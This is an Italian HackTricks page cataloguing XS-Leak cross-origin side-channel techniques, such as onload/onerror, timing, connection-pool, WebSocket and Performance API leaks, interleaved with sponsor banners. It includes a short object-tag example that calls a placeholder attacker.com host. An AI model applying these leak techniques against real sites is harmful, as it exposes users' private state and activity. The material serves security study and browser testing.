90 KiB
XS-Search/XS-Leaks
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione esclusiva di NFT
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
XS-Search è un metodo utilizzato per estrarre informazioni cross-origin sfruttando vulnerabilità di canale laterale.
I componenti chiave coinvolti in questo attacco includono:
- Web Vulnerabile: Il sito web di destinazione da cui si intende estrarre informazioni.
- Web dell'Attaccante: Il sito web malevolo creato dall'attaccante, che la vittima visita, ospitante l'exploit.
- Metodo di Inclusione: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad esempio, window.open, iframe, fetch, tag HTML con href, ecc.).
- Tecnica di Leak: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione.
- Stati: Le due condizioni potenziali del Web Vulnerabile, che l'attaccante mira a distinguere.
- Differenze Rilevabili: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile.
Differenze Rilevabili
Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vulnerabile:
- Codice di Stato: Distinguere tra vari codici di stato di risposta HTTP cross-origin, come errori del server, errori del client o errori di autenticazione.
- Utilizzo delle API: Identificare l'uso delle API Web tra le pagine, rivelando se una pagina cross-origin utilizza una specifica API Web JavaScript.
- Reindirizzamenti: Rilevare le navigazioni verso pagine diverse, non solo reindirizzamenti HTTP ma anche quelli attivati da JavaScript o HTML.
- Contenuto della Pagina: Osservare variazioni nel corpo della risposta HTTP o nelle risorse sottopagine, come il numero di frame incorporati o disparità di dimensioni nelle immagini.
- Intestazione HTTP: Notare la presenza o eventualmente il valore di un intestazione di risposta HTTP specifica, inclusi intestazioni come X-Frame-Options, Content-Disposition e Cross-Origin-Resource-Policy.
- Temporizzazione: Notare disparità di tempo costanti tra i due stati.
Metodi di Inclusione
- Elementi HTML: HTML offre vari elementi per l'inclusione di risorse cross-origin, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una raccolta di potenziali elementi HTML a tale scopo può essere trovata su https://github.com/cure53/HTTPLeaks.
- Frame: Elementi come iframe, object e embed possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina manca di protezione del framing, JavaScript può accedere all'oggetto window della risorsa incorniciata tramite la proprietà contentWindow.
- Pop-up: Il metodo
window.open
apre una risorsa in una nuova scheda o finestra, fornendo un manico della finestra per consentire a JavaScript di interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nell'accesso singolo, eludono le restrizioni di framing e cookie di una risorsa di destinazione. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente. - Richieste JavaScript: JavaScript consente richieste dirette alle risorse di destinazione utilizzando XMLHttpRequests o il Fetch API. Questi metodi offrono un controllo preciso sulla richiesta, come optare per seguire i reindirizzamenti HTTP.
Tecniche di Leak
- Gestore di Eventi: Una tecnica di leak classica in XS-Leaks, dove i gestori di eventi come onload e onerror forniscono informazioni sul successo o fallimento del caricamento della risorsa.
- Messaggi di Errore: Le eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza.
- Limiti Globali: Limiti fisici di un browser, come la capacità di memoria o altri limiti del browser imposti, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak.
- Stato Globale: Interazioni rilevabili con gli stati globali dei browser (ad esempio, l'interfaccia History) possono essere sfruttate. Ad esempio, il numero di voci nella cronologia di un browser può offrire indizi sulle pagine cross-origin.
- API di Performance: Questa API fornisce dettagli sulle prestazioni della pagina corrente, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste.
- Attributi Leggibili: Alcuni attributi HTML sono leggibili cross-origin e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà
window.frame.length
consente a JavaScript di contare i frame inclusi in una pagina web cross-origin.
Strumento XSinator & Paper
XSinator è uno strumento automatico per verificare i browser contro diversi XS-Leaks noti spiegati nel suo paper: https://xsinator.com/paper.pdf
Puoi accedere allo strumento su https://xsinator.com/
{% hint style="warning" %} XS-Leaks Esclusi: Abbiamo dovuto escludere XS-Leaks che si basano su service worker in quanto interferirebbero con altri leak in XSinator. Inoltre, abbiamo scelto di escludere XS-Leaks che si basano su configurazioni errate e bug in un'applicazione web specifica. Ad esempio, configurazioni errate di Cross-Origin Resource Sharing (CORS), perdite di postMessage o Cross-Site Scripting. Inoltre, abbiamo escluso XS-Leaks basati sul tempo poiché spesso soffrono di lentezza, rumore e inesattezza. {% endhint %}
Usa Trickest per creare facilmente e automatizzare flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Tecniche basate sul tempo
Alcune delle seguenti tecniche utilizzeranno il tempo come parte del processo per rilevare differenze nei possibili stati delle pagine web. Ci sono diversi modi per misurare il tempo in un browser web.
Orologi: L'API performance.now() consente agli sviluppatori di ottenere misurazioni temporali ad alta risoluzione.
Esistono un considerevole numero di API che gli attaccanti possono sfruttare per creare orologi impliciti: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animazioni CSS e altri.
Per ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Tecniche degli Event Handler
Onload/Onerror
- Metodi di Inclusione: Frame, Elementi HTML
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Sommario: se si tenta di caricare una risorsa e vengono attivati gli eventi onerror/onload con il caricamento riuscito/non riuscito della risorsa, è possibile individuare il codice di stato.
- Esempio di codice: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}
L'esempio di codice cerca di caricare oggetti script da JS, ma altri tag come oggetti, fogli di stile, immagini, audio potrebbero essere utilizzati. Inoltre, è anche possibile iniettare direttamente il tag e dichiarare gli eventi onload
e onerror
all'interno del tag (anziché iniettarlo da JS).
Esiste anche una versione di questo attacco senza script:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
In questo caso se example.com/404
non viene trovato, verrà caricato attacker.com/?error
.
Tempistica Onload
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Sommario: L'API performance.now() può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Tuttavia, potrebbero essere utilizzati altri orologi, come l'API PerformanceLongTaskTiming che può identificare attività in esecuzione per più di 50 ms.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events un altro esempio in:
{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}
Tempistica Onload + Attività Pesante Forzata
Questa tecnica è simile alla precedente, ma l'attaccante forzerà anche qualche azione a richiedere un tempo rilevante quando la risposta è positiva o negativa e misurerà quel tempo.
{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}
Tempistica unload/beforeunload
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Sommario: Il clock SharedArrayBuffer può essere utilizzato per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Il tempo impiegato per recuperare una risorsa può essere misurato utilizzando gli eventi unload
e beforeunload
. L'evento beforeunload
viene attivato quando il browser sta per navigare verso una nuova pagina, mentre l'evento unload
si verifica quando effettivamente avviene la navigazione. La differenza di tempo tra questi due eventi può essere calcolata per determinare la durata in cui il browser ha impiegato a recuperare la risorsa.
Tempistica Frame con Sandboxing + onload
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Sommario: L'API performance.now() può essere utilizzata per misurare quanto tempo impiega a eseguire una richiesta. Potrebbero essere utilizzati altri orologi.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
È stato osservato che in assenza di Protezioni Framing, un attaccante può misurare il tempo necessario per caricare una pagina e le sue sotto risorse tramite la rete. Questa misurazione è tipicamente possibile perché l'handler onload
di un iframe viene attivato solo dopo il completamento del caricamento delle risorse e dell'esecuzione di JavaScript. Per eludere la variabilità introdotta dall'esecuzione dello script, un attaccante potrebbe utilizzare l'attributo sandbox
all'interno dell'<iframe>
. L'inclusione di questo attributo limita numerose funzionalità, in particolare l'esecuzione di JavaScript, facilitando così una misurazione che è prevalentemente influenzata dalle prestazioni di rete.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + errore + onload
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni:
- Sommario: Se riesci a far sì che la pagina generi un errore quando si accede al contenuto corretto e si carichi correttamente quando si accede a qualsiasi contenuto, allora puoi creare un loop per estrarre tutte le informazioni senza misurare il tempo.
- Esempio di Codice:
Supponiamo che tu possa inserire la pagina che ha il contenuto segreto all'interno di un Iframe.
Puoi far cercare alla vittima il file che contiene "flag" utilizzando un Iframe (sfruttando ad esempio un CSRF). All'interno dell'Iframe sai che l'evento onload verrà sempre eseguito almeno una volta. Quindi, puoi cambiare l'URL dell'iframe cambiando solo il contenuto dell'hash all'interno dell'URL.
Per esempio:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Se il primo URL è stato caricato con successo, allora, quando si cambia la parte hash dell'URL, l'evento onload non verrà attivato di nuovo. Ma se la pagina ha avuto qualche tipo di errore durante il caricamento, allora, l'evento onload verrà attivato di nuovo.
Così, puoi distinguere tra una pagina caricata correttamente o una pagina che ha un errore quando viene accessa.
Esecuzione di Javascript
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni:
- Sommario: Se la pagina restituisce il contenuto sensibile, o un contenuto che può essere controllato dall'utente. L'utente potrebbe impostare codice JS valido nel caso negativo, e caricare ogni tentativo all'interno dei tag
<script>
, quindi nei casi negativi il codice degli attaccanti viene eseguito, e nei casi positivi nulla verrà eseguito. - Esempio di Codice:
{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}
CORB - Onerror
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Codice di Stato e Intestazioni
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Sommario: Cross-Origin Read Blocking (CORB) è una misura di sicurezza che impedisce alle pagine web di caricare determinate risorse cross-origin sensibili per proteggersi da attacchi come Spectre. Tuttavia, gli attaccanti possono sfruttare il suo comportamento protettivo. Quando una risposta soggetta a CORB restituisce un
Content-Type
protetto da CORB connosniff
e un codice di stato2xx
, CORB rimuove il corpo e le intestazioni della risposta. Gli attaccanti che osservano questo possono dedurre la combinazione del codice di stato (indicante successo o errore) e ilContent-Type
(che indica se è protetto da CORB), portando a una potenziale fuga di informazioni. - Esempio di Codice:
Controlla il link per ulteriori informazioni sull'attacco.
onblur
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Sommario: Fuga di dati sensibili dall'attributo id o name.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
È possibile caricare una pagina all'interno di un iframe e utilizzare il #valore_id
per far sì che la pagina si concentri sull'elemento dell'iframe con l'id indicato, quindi se viene attivato un segnale onblur
, l'elemento ID esiste.
Puoi eseguire lo stesso attacco con i tag portal
.
Trasmissioni postMessage
- Metodi di Inclusione: Frame, Pop-up
- Differenza Rilevabile: Utilizzo dell'API
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Sommario: Raccogliere informazioni sensibili da un postMessage o utilizzare la presenza di postMessage come un oracolo per conoscere lo stato dell'utente nella pagina
- Esempio di Codice:
Qualsiasi codice in ascolto di tutti i postMessage.
Le applicazioni utilizzano frequentemente le trasmissioni postMessage
per comunicare tra origini diverse. Tuttavia, questo metodo può involontariamente esporre informazioni sensibili se il parametro targetOrigin
non è correttamente specificato, consentendo a qualsiasi finestra di ricevere i messaggi. Inoltre, il semplice atto di ricevere un messaggio può agire come un oracolo; ad esempio, certi messaggi potrebbero essere inviati solo agli utenti che sono autenticati. Pertanto, la presenza o l'assenza di questi messaggi può rivelare informazioni sullo stato o l'identità dell'utente, come ad esempio se sono autenticati o meno.
Utilizza Trickest per creare e automatizzare flussi di lavoro con gli strumenti della community più avanzati al mondo.
Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Tecniche di Limiti Globali
API WebSocket
- Metodi di Inclusione: Frame, Pop-up
- Differenza Rilevabile: Utilizzo dell'API
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.1)
- Sommario: Esaurire il limite di connessioni WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin.
- Esempio di Codice: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
È possibile identificare se, e quante, connessioni WebSocket una pagina di destinazione utilizza. Ciò consente a un attaccante di rilevare gli stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket.
Se un origine utilizza il massimo numero di oggetti di connessione WebSocket, indipendentemente dallo stato delle loro connessioni, la creazione di nuovi oggetti causerà eccezioni JavaScript. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web di destinazione in un pop-up o iframe e quindi, dopo che il sito web di destinazione è stato caricato, tenta di creare il massimo numero di connessioni WebSocket possibili. Il numero di eccezioni generate è il numero di connessioni WebSocket utilizzate dalla finestra del sito web di destinazione.
API di Pagamento
- Metodi di Inclusione: Frames, Pop-up
- Differenza Rilevabile: Utilizzo dell'API
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.1)
- Sommario: Rilevare la Richiesta di Pagamento perché può essere attiva solo una alla volta.
- Esempio di Codice: https://xsinator.com/testing.html#Payment%20API%20Leak
Questo XS-Leak consente a un attaccante di rilevare quando una pagina cross-origin inizia una richiesta di pagamento.
Poiché può essere attiva solo una richiesta di pagamento alla volta, se il sito di destinazione sta utilizzando l'API di Richiesta di Pagamento, qualsiasi ulteriore tentativo di utilizzare questa API fallirà, causando un'eccezione JavaScript. L'attaccante può sfruttare ciò tentando periodicamente di mostrare l'interfaccia dell'API di Pagamento. Se un tentativo causa un'eccezione, il sito di destinazione la sta utilizzando attualmente. L'attaccante può nascondere questi tentativi periodici chiudendo immediatamente l'interfaccia dopo la creazione.
Temporizzazione del Ciclo degli Eventi
- Metodi di Inclusione:
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Sommario: Misurare il tempo di esecuzione di un web abusando del ciclo degli eventi JS single-threaded.
- Esempio di Codice:
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}
JavaScript opera su un modello di concorrenza del ciclo degli eventi single-threaded, il che significa che può eseguire solo un compito alla volta. Questa caratteristica può essere sfruttata per misurare quanto tempo impiega il codice di un'origine diversa ad eseguirsi. Un attaccante può misurare il tempo di esecuzione del proprio codice nel ciclo degli eventi inviando continuamente eventi con proprietà fisse. Questi eventi verranno elaborati quando il pool degli eventi è vuoto. Se altre origini stanno inviando eventi allo stesso pool, un attaccante può dedurre il tempo impiegato per l'esecuzione di questi eventi esterni osservando ritardi nell'esecuzione dei propri compiti. Questo metodo di monitoraggio del ciclo degli eventi per i ritardi può rivelare il tempo di esecuzione del codice di origini diverse, potenzialmente esponendo informazioni sensibili.
{% hint style="warning" %} In una temporizzazione dell'esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. {% endhint %}
Ciclo degli Eventi Occupato
- Metodi di Inclusione:
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Sommario: Un metodo per misurare il tempo di esecuzione di un'operazione web coinvolge il blocco intenzionale del ciclo degli eventi di un thread e quindi misurare quanto tempo impiega il ciclo degli eventi a diventare nuovamente disponibile. Inserendo un'operazione di blocco (come un calcolo lungo o una chiamata API sincrona) nel ciclo degli eventi e monitorando il tempo impiegato affinché il codice successivo inizi l'esecuzione, si può dedurre la durata dei compiti che venivano eseguiti nel ciclo degli eventi durante il periodo di blocco. Questa tecnica sfrutta la natura single-threaded del ciclo degli eventi di JavaScript, dove i compiti vengono eseguiti in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread.
- Esempio di Codice:
Un vantaggio significativo della tecnica di misurare il tempo di esecuzione bloccando il ciclo degli eventi è il potenziale per aggirare l'Isolamento del Sito. L'Isolamento del Sito è una funzionalità di sicurezza che separa i diversi siti web in processi separati, al fine di impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando la temporizzazione dell'esecuzione di un'altra origine attraverso il ciclo degli eventi condiviso, un attaccante può estrarre indirettamente informazioni sulle attività di quell'origine. Questo metodo non si basa sull'accesso diretto ai dati dell'altra origine, ma osserva l'impatto delle attività di quell'origine sul ciclo degli eventi condiviso, eludendo così le barriere protettive stabilite dall'Isolamento del Sito.
{% hint style="warning" %} In una temporizzazione dell'esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. {% endhint %}
Pool di Connessioni
- Metodi di Inclusione: Richieste JavaScript
- Differenza Rilevabile: Temporizzazione (generalmente dovuta al Contenuto della Pagina, Codice di Stato)
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Sommario: Un attaccante potrebbe bloccare tutte le socket tranne una, caricare il web target e contemporaneamente caricare un'altra pagina, il tempo fino a quando l'ultima pagina inizia a caricarsi è il tempo impiegato dalla pagina target per caricarsi.
- Esempio di Codice:
{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}
I browser utilizzano le socket per la comunicazione con il server, ma a causa delle risorse limitate del sistema operativo e dell'hardware, i browser sono costretti a imporre un limite al numero di socket simultanee. Gli attaccanti possono sfruttare questa limitazione attraverso i seguenti passaggi:
- Verificare il limite delle socket del browser, ad esempio, 256 socket globali.
- Occupare 255 socket per un periodo prolungato avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle.
- Utilizzare la 256a socket per inviare una richiesta alla pagina di destinazione.
- Tentare una 257a richiesta a un host diverso. Dato che tutte le socket sono in uso (come nei passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando una socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa alla 256a socket (la socket della pagina di destinazione). Questa inferenza è possibile perché le 255 socket dal passaggio 2 sono ancora impegnate, implicando che qualsiasi socket appena disponibile deve essere quella rilasciata dal passaggio 3. Il tempo impiegato dalla 256a socket per diventare disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina di destinazione.
Per ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Tecniche dell'API delle Prestazioni
L'API delle Prestazioni
offre approfondimenti sulle metriche delle prestazioni delle applicazioni web, arricchite ulteriormente dall'API di Temporizzazione delle Risorse
. L'API di Temporizzazione delle Risorse consente il monitoraggio dettagliato dei tempi delle richieste di rete, come la durata delle richieste. In particolare, quando i server includono l'intestazione Timing-Allow-Origin: *
nelle loro risposte, diventano disponibili dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio.
Questa ricchezza di dati può essere recuperata tramite metodi come performance.getEntries
o performance.getEntriesByName
, fornendo una visione completa delle informazioni correlate alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da performance.now()
. Tuttavia, è importante notare che per determinate operazioni nei browser come Chrome, la precisione di performance.now()
potrebbe essere limitata a millisecondi, il che potrebbe influire sulla granularità delle misurazioni temporali.
Oltre alle misurazioni temporali, l'API delle Prestazioni può essere sfruttata per approfondimenti relativi alla sicurezza. Ad esempio, la presenza o l'assenza di pagine nell'oggetto performance
in Chrome può indicare l'applicazione di X-Frame-Options
. In particolare, se una pagina è bloccata dal rendering in un frame a causa di X-Frame-Options
, non verrà registrata nell'oggetto performance
, fornendo un indizio sottile sulle politiche di framing della pagina.
Fuga di Errori
- Metodi di Inclusione: Frame, Elementi HTML
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: Una richiesta che genera errori non creerà una voce di temporizzazione delle risorse.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
È possibile differenziare tra i codici di stato delle risposte HTTP perché le richieste che portano a un errore non creano una voce di prestazione.
Errore di Ricarica dello Stile
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: A causa di un bug del browser, le richieste che generano errori vengono caricate due volte.
- Esempio di Codice: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
Nella tecnica precedente sono stati identificati due casi in cui i bug del browser in GC portano al caricamento duplicato delle risorse in caso di errore nel caricamento. Ciò comporterà la presenza di voci multiple nell'API delle Prestazioni e potrà quindi essere rilevato.
Errore di Unione delle Richieste
- Metodi di Inclusione: Elementi HTML
- Differenza Rilevabile: Codice di Stato
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: Le richieste che generano un errore non possono essere unite.
- Esempio di Codice: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
La tecnica è stata trovata in una tabella nel paper menzionato, ma non è stata trovata alcuna descrizione della tecnica. Tuttavia, è possibile trovare il codice sorgente che ne verifica la presenza in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Fuga di Pagina Vuota
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: Le risposte vuote non creano voci di temporizzazione delle risorse.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Un attaccante può rilevare se una richiesta ha generato un corpo di risposta HTTP vuoto poiché le pagine vuote non creano una voce di prestazione in alcuni browser.
Fuga XSS-Auditor
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Contenuto della Pagina
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: Utilizzando l'Auditor XSS nelle Asserzioni di Sicurezza, gli attaccanti possono rilevare elementi specifici delle pagine web osservando le modifiche nelle risposte quando i payload creati attivano il meccanismo di filtraggio dell'auditor.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Nelle Asserzioni di Sicurezza (SA), l'Auditor XSS, originariamente pensato per prevenire attacchi di Cross-Site Scripting (XSS), può paradossalmente essere sfruttato per rivelare informazioni sensibili. Anche se questa funzionalità integrata è stata rimossa da Google Chrome (GC), è ancora presente in SA. Nel 2013, Braun e Heiderich hanno dimostrato che l'Auditor XSS poteva bloccare involontariamente script legittimi, portando a falsi positivi. Basandosi su questo, i ricercatori hanno sviluppato tecniche per estrarre informazioni e rilevare contenuti specifici su pagine cross-origin, un concetto noto come XS-Leaks, inizialmente segnalato da Terada ed elaborato da Heyes in un post sul blog. Anche se queste tecniche erano specifiche per l'Auditor XSS in GC, è stato scoperto che in SA, le pagine bloccate dall'Auditor XSS non generano voci nell'API delle Prestazioni, rivelando un metodo attraverso il quale informazioni sensibili potrebbero ancora essere divulgate.
Fuga X-Frame
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Sommario: Una risorsa con l'intestazione X-Frame-Options non crea una voce di temporizzazione delle risorse.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Se una pagina non è autorizzata a essere renderizzata in un iframe, non crea una voce di prestazione. Di conseguenza, un attaccante può rilevare l'intestazione di risposta X-Frame-Options
.
Lo stesso accade se si utilizza un tag di incorporamento.
Rilevamento del Download
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: I download non creano voci di temporizzazione delle risorse nell'API delle Prestazioni.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Analogamente alla XS-Leak descritta, una risorsa che viene scaricata a causa dell'intestazione ContentDisposition, non crea nemmeno una voce di prestazione. Questa tecnica funziona in tutti i principali browser.
Inizio Reindirizzamento Leak
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Reindirizzamento
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: L'ingresso del tempo delle risorse rivela l'ora di inizio di un reindirizzamento.
- Esempio di Codice: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste tra origini diverse. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse tra origini diverse. Tuttavia, in SA è possibile rilevare se l'utente viene reindirizzato dalla pagina di destinazione, interrogando il Performance API e verificando i dati temporali di redirectStart.
Durata Reindirizzamento Leak
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Reindirizzamento
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: La durata delle voci temporali è negativa quando si verifica un reindirizzamento.
- Esempio di Codice: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
In GC, la durata delle richieste che risultano in un reindirizzamento è negativa e può quindi essere distinguibile dalle richieste che non comportano un reindirizzamento.
Leak CORP
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Intestazione
- Ulteriori informazioni: https://xsinator.com/paper.pdf (5.2)
- Sommario: Le risorse protette con CORP non creano voci temporali delle risorse.
- Esempio di Codice: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
In alcuni casi, l'entry nextHopProtocol può essere utilizzata come tecnica di leak. In GC, quando l'intestazione CORP è impostata, il nextHopProtocol sarà vuoto. Si noti che SA non creerà affatto una voce di performance per le risorse abilitate a CORP.
Service Worker
- Metodi di Inclusione: Frame
- Differenza Rilevabile: Utilizzo API
- Ulteriori informazioni: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Sommario: Rilevare se un service worker è registrato per un'origine specifica.
- Esempio di Codice:
I service worker sono contesti di script basati su eventi che vengono eseguiti su un'origine. Eseguono in background una pagina web e possono intercettare, modificare e memorizzare risorse per creare un'applicazione web offline.
Se una risorsa memorizzata nella cache da un service worker viene accessa tramite iframe, la risorsa verrà caricata dalla cache del service worker.
Per rilevare se la risorsa è stata caricata dalla cache del service worker, può essere utilizzato il Performance API.
Questo potrebbe essere fatto anche con un attacco di Timing (consultare il paper per ulteriori informazioni).
Cache
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Timing
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Sommario: È possibile verificare se una risorsa è stata memorizzata nella cache.
- Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Utilizzando il Performance API è possibile verificare se una risorsa è memorizzata nella cache.
Durata Rete
- Metodi di Inclusione: Fetch API
- Differenza Rilevabile: Contenuto Pagina
- Ulteriori informazioni: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Sommario: È possibile recuperare la durata della rete di una richiesta dal
performance
API. - Esempio di Codice: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
